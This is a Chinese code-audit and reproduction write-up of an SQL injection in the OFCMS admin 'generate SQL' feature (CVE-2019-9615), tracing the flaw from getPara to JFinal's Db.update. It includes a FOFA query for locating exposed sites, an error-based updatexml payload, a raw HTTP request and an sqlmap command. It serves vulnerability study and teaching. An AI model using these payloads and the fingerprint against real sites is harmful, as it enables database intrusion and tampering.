OFCMS-SQL注入-代码审计

1. 漏洞基本信息

  • 漏洞名称:OFCMS SQL注入漏洞(CVE-2019-9615)
  • 影响系统 / CMS名称:OFCMS
  • 影响版本范围:V1.1.3 之前
  • 漏洞类型:SQL注入
  • 漏洞发现日期:2019-03-06

2. 漏洞描述

OFCMS是一款基于Java技术的内容管理系统。

OFCMS 1.1.3之前版本存在后台SQL注入漏洞。攻击者可利用漏洞发起admin/system/generate/create?sql= SQL注入攻击。


3. 漏洞影响版本

V1.1.3 之前

来源:https://www.seebug.org/vuldb/ssvid-97836


4. 网络测绘语法

fofa:

body="/static/assets/js/admin.js"

image.png


5. 环境搭建与漏洞复现过程

使用环境:

  • mysql 5.6
  • jdk 1.8
  • tomcat 8

项目地址:https://gitee.com/oufu/ofcms/releases/tag/V1.1.3

使用IDEA打开,等待Maven构建完成,项目目录如下

img

数据库配置

小皮开启MySQL

img

创建数据库ofcms

img

导入数据库文件

sql文件路径:doc\sql\ofcms-v1.1.3.sql

img

img

修改数据库配置文件

数据库配置文件路径:ofcms-V1.1.3\ofcms-admin\src\main\resources\dev\conf\db-config.properties

img

Tomcat配置

添加本地Tomcat,部署工件

img

img

发现启动后进入安装界面(手动配置无效)

img

解决办法:将数据库配置文件重命名为db.properties

img

搭建完成

image.png

后台地址:http://localhost:8080/admin

管理员账号:admin/123456

img


6. SQL注入原理及代码审计分析

路由分析

路由配置文件:ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\core\config\JFWebConfig.java

img

规定了路由

访问com.ofsoft.cms.admin.controller目录下的文件,需要加上/admin路径

比如我们打开admin目录下controller层的文件

img

实际上触发这段代码的路由是/admin/comn/service

漏洞分析

后台中有一个添加sql的功能点

image.png

输入123,发现触发了报错

img

跟踪路由

/admin/system/generate/create.json?sqlid=

代码中全局搜system/generate

找到对应的代码处

ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SystemGenerateController.java

img

调用的是其中的create方法

img

第47行,调用getPara方法获取sql参数,sql参数是我们传入的内容,传入内容可控,并且第48行直接执行了update更新语句

getPara跟踪

ctrl跟踪getPara,跟踪到….repository\com\jfinal\jfinal\3.2\jfinal-3.2.jar!\com\jfinal\core\Controller.class

发现getPara方法是调用的JFinal框架的api

getPara是JFinal框架提供的基础方法,主要用于从HTTP请求中提取参数值

它只是简单地获取请求参数,不会自动进行任何安全过滤或转义处理

img

回到漏洞所在点

跟踪update

这里的Db.update方法实际上也是JFinal框架提供的api

Db.update(String sql)用于执行UPDATE、INSERT、DELETE等非查询类型的SQL语句,返回受影响的行数

第一次跟踪

img

继续跟踪MAIN.update方法

img

继续跟踪

img

继续跟踪var4 = this.update(this.config, conn, sql, paras);

img

这就是该方法实现的底层逻辑了

第247行,使用conn.prepareStatement(sql)创建预编译语句,这里的sql就是我们传入的原始SQL字符串

第248行,调用config.dialect.fillStatement(pst, paras)填充参数,但是这里的paras是一个空参数组,因此没有参数填充,在没有参数填充的情况下,我们传入的整个sql语句直接放行(整个sql语句都可控,不使用?占位符),所以这里的预编译其实并没有起到作用

创建了预编译,但是并没有使用预编译写法

第249行,调用pst.executeUpdate()执行更新操作,这是JDBC标准方法,执行INSERT、UPDATE或DELETE语句

总结:在获取参数以及参数传递到最终执行的过程中,没有对传入的参数进行过滤,并且最后执行时预编译并没有起到作用,导致存在SQL注入

漏洞验证

因为这里执行的是Db.update(sql);更新操作

我们需要构造update语句来进行注入,并且这里使用了

img

rendFailedJson(ErrorCode.get(“9999”), e.getMessage())方法会将异常信息发送给前端

e.getMessage()包含了数据库返回的详细错误信息

因此我们使用报错注入

并且,在JDBC执行过程中:

  1. MySQL解析SQL语句
  2. 验证表/列是否存在
  3. 发现表/列不存在,立即抛出MySQLSyntaxErrorException

异常被捕获并返回给前端

因此,为了使我们的XPath报错显示(也就是成功经过SQL解析阶段,进入函数执行阶段),我们构造的payload中要使用正确的表名/列名

去数据库中随便选一个表名列名

img

构造payload:

update of_cms_ad set ad_id=updatexml(1,concat(0x7e,(user())),0) where ad_id=1

img

sqlmap验证

sqli.txt:

POST /admin/system/generate/create.json?sqlid= HTTP/1.1
Host: localhost:8080
Content-Length: 81
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/admin/f.html?p=system/generate/add.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=AB899CADCFAD56796EEDFF2EF88D2AA4
Connection: close

sql=update of_cms_ad set ad_id=* where ad_id=1

sqlmap:

python sqlmap.py -r sqli.txt --level=5 --risk=3 --dbms=mysql --batch --dbs

image.png


7. 参考资料

https://blog.csdn.net/AsagiRiAsagi/article/details/123936621

https://www.seebug.org/vuldb/ssvid-97836

https://nvd.nist.gov/vuln/detail/CVE-2019-9615

https://www.cve.org/CVERecord?id=CVE-2019-9615

https://blog.csdn.net/YouthBelief/article/details/122978328